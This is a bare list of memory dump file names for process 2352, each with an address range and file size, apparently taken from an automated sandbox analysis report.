                                                                • memory/2352-56-0x00007FFF8B630000-0x00007FFF8B649000-memory.dmp

                                                                  Filesize

                                                                  100KB

                                                                • memory/2352-54-0x00007FFF85500000-0x00007FFF8552D000-memory.dmp

                                                                  Filesize

                                                                  180KB

                                                                • memory/2352-48-0x00007FFF8DFF0000-0x00007FFF8DFFF000-memory.dmp

                                                                  Filesize

                                                                  60KB

                                                                • memory/2352-30-0x00007FFF89770000-0x00007FFF89793000-memory.dmp

                                                                  Filesize

                                                                  140KB

                                                                • memory/2352-25-0x00007FFF75EB0000-0x00007FFF76499000-memory.dmp

                                                                  Filesize

                                                                  5.9MB

                                                                • memory/2352-287-0x00007FFF84810000-0x00007FFF84843000-memory.dmp

                                                                  Filesize

                                                                  204KB

                                                                • memory/2352-308-0x00007FFF80670000-0x00007FFF8073D000-memory.dmp

                                                                  Filesize

                                                                  820KB

                                                                • memory/2352-309-0x00000165669B0000-0x0000016566ED2000-memory.dmp

                                                                  Filesize

                                                                  5.1MB

                                                                • memory/2352-311-0x00007FFF754A0000-0x00007FFF759C2000-memory.dmp

                                                                  Filesize

                                                                  5.1MB

                                                                • memory/2352-318-0x00007FFF75B70000-0x00007FFF75CE7000-memory.dmp

                                                                  Filesize

                                                                  1.5MB

                                                                • memory/2352-313-0x00007FFF89770000-0x00007FFF89793000-memory.dmp

                                                                  Filesize

                                                                  140KB

                                                                • memory/2352-312-0x00007FFF75EB0000-0x00007FFF76499000-memory.dmp

                                                                  Filesize

                                                                  5.9MB